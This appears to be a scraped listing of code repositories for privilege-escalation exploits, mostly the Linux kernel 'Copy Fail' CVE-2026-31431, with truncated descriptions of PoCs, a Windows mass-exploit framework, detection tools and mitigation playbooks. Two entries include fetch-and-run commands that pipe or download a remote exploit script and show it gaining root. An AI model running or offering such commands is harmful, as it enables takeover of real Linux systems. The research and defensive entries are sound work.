QuickBox-Pro-2.1.8-Authenticated-RCE

QuickBox-Pro-2.1.8-Authenticated-RCE An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules. QuickBox Pro v2.1.8 and prior is vulnerable...

CVE-2021-4034

CVE-2021-4034 pkexec Local Privilege Escalation exploit...

dast

dast CVE-2026-0828 борка Build: Откройте Командную строку разработчика Visual Studio x64 Native Tools и скомпилируйте код : bash cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe Подготовка: Убедитесь, что на тестовой машине установлен уязвимый драйвер Safetica ProcessMonitorDriver.sys. Если его...

CVE-2026-31431_CopyFail_LinuxKernel_LPE

CVE-2026-31431 — Copy Fail Linux Kernel LPE Educational rewrite of the Theori/Xint proof-of-concept for CVE-2026-31431, a local privilege escalation vulnerability in the Linux kernel's algifaead crypto socket interface. Affects every mainline kernel from 4.14 July 2017 through 6.18.21, and the 6....

copyfail-exploit

Copy Fail · CVE-2026-31431 Escalada de privilegios local en kernels de Linux desde 4.11 hasta sin incluir las versiones parcheadas 6.18. El fallo reside en la interfaz de sockets AFALG del kernel, específicamente en cómo authencesn maneja las listas scatter-gather durante el descifrado AEAD...

copyfail-arm64

Copy Fail ARM64 Research CVE-2026-31431 Analysis and ARM64 reproduction of the Copy Fail Linux kernel privilege escalation vulnerability CVE-2026-31431, originally disclosed by Xint. Blog post: docs/post.md What's Included File| Description ---|--- docs/post.md| Blog post covering the vulnerabili...

CVE-2026-31431

Copy Fail - CVE-2026-31431 This repository contains a small Linux local privilege escalation PoC for CVE-2026-31431, also known as "Copy Fail". The exploit targets the Linux kernel algifaead path in the AFALG userspace crypto API. It uses AFALG plus splice to coerce the kernel into writing into t...

cve-2026-31431-checker

CVE-2026-31431 Copy Fail Detection Tool A comprehensive detection and analysis tool for CVE-2026-31431 "Copy Fail" vulnerability in Linux kernels. ⚠️ IMPORTANT DISCLAIMER This tool is for DETECTION ONLY. It does not exploit or modify any system files. Only reads system information and configuratio...

CVE-2026-31431

🔐 CVE-2026-31431 - Kernel Exploitation Research Framework Modular framework for studying a Linux privilege escalation LPE vulnerability based on AFALG + Page Cache Injection techniques. 🎯 Objective This project is designed for: Research of Linux kernel vulnerabilities Teaching real exploitation...

alg_check

⚠️ Important Disclaimer: Structural Hardening Risks This tool implements Structural Blocking to mitigate CVE-2026-31431 by physically renaming kernel modules and purging them from memory. Before use, please be aware of the following architectural risks: Kernel Update Volatility : Hardening effects...

copy-fail

copy-fail PoC of CVE-2026-31431 USAGE: wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 — "Copy Fail": Linux Kernel algifaead Local Privilege Escalation CISA KEV | CVSS 7.8 HIGH | Affects Linux kernels 4.14 – early 2026 9 years Table of Contents 1. Executive Summary 2. Risk Assessment 3. Technical Deep Dive 4. Attack Methodology — Red Team 5. Detection & Incident...

CVE-2026-68820_Mass_Exploit

CVE-2026-68820 — Mass Exploit Framework Edition. Automated module for mass local privilege escalation LPE to NT AUTHORITY\SYSTEM via a use-after-free vulnerability in the AFD.sys driver ancillary function driver. This exploit is designed for corporate environments: Supports Windows 10/11 all...

Estudo-de-Caso-CVE-2026-31431-CopyFail

🐧 CVE-2026-31431 — CopyFail: Linux Kernel Privilege Escalation Complete Case Study — How it was discovered, how it works, how to test, how to replicate in a safe environment and how to fix the critical vulnerability that affects almost all Linux distributions since 2017. 🚨 Legal Notice / Disclaim...

copy-fail-CVE-2026-31431

Copy Fail CVE-2026-31431 - PoC This repository contains a Proof of Concept PoC for the Copy Fail CVE-2026-31431 vulnerability. ⚠️ Disclaimer: This project is for educational and research purposes only. Do NOT use this on systems you do not own or do not have permission to test. 🧪 Usage Follow the...

cfDr

cfDr - Copy Fail Doctor C opy F ail D etection and R emediation An Ansible role and playbook suite for detecting and remediating CVE-2026-31431 Copy Fail, a critical local privilege escalation vulnerability in the Linux kernel's algifaead module. Repository 🔗 GitHub :...

CVE-2026-31431

CopyFail CVE-2026-31431 Overview CopyFail is a proof-of-concept exploit for CVE-2026-31431, targeting a memory corruption vulnerability in the Linux Kernel Crypto API AFALG. The exploit leverages the splice system call to perform unauthorized page-cache patching of the /usr/bin/su binary, enablin...

CVE-2026-31431-copy-fail

Copy Fail Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017. Quick run: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user...

copyfail-mitigation

CVE-2026-31431 — Copy Fail Linux Kernelalgifaead Privilege Escalation / Memory Corruption Ansible-based audit and mitigation playbooks — ready to run in production Overview Copy Fail CVE-2026-31431 is a vulnerability in the Linux kernel's algifaead module — the userspace-facing AEAD interface of...

Mitigaciones

CVE-2026-31431 "Copy Fail" Mitigations Collection of automation scripts and playbooks for the detection and mitigation of vulnerability CVE-2026-31431 local privilege escalation via page cache corruption in setuid binaries on Linux systems. Repository Contents cve-2026-31431-mitigator.sh :...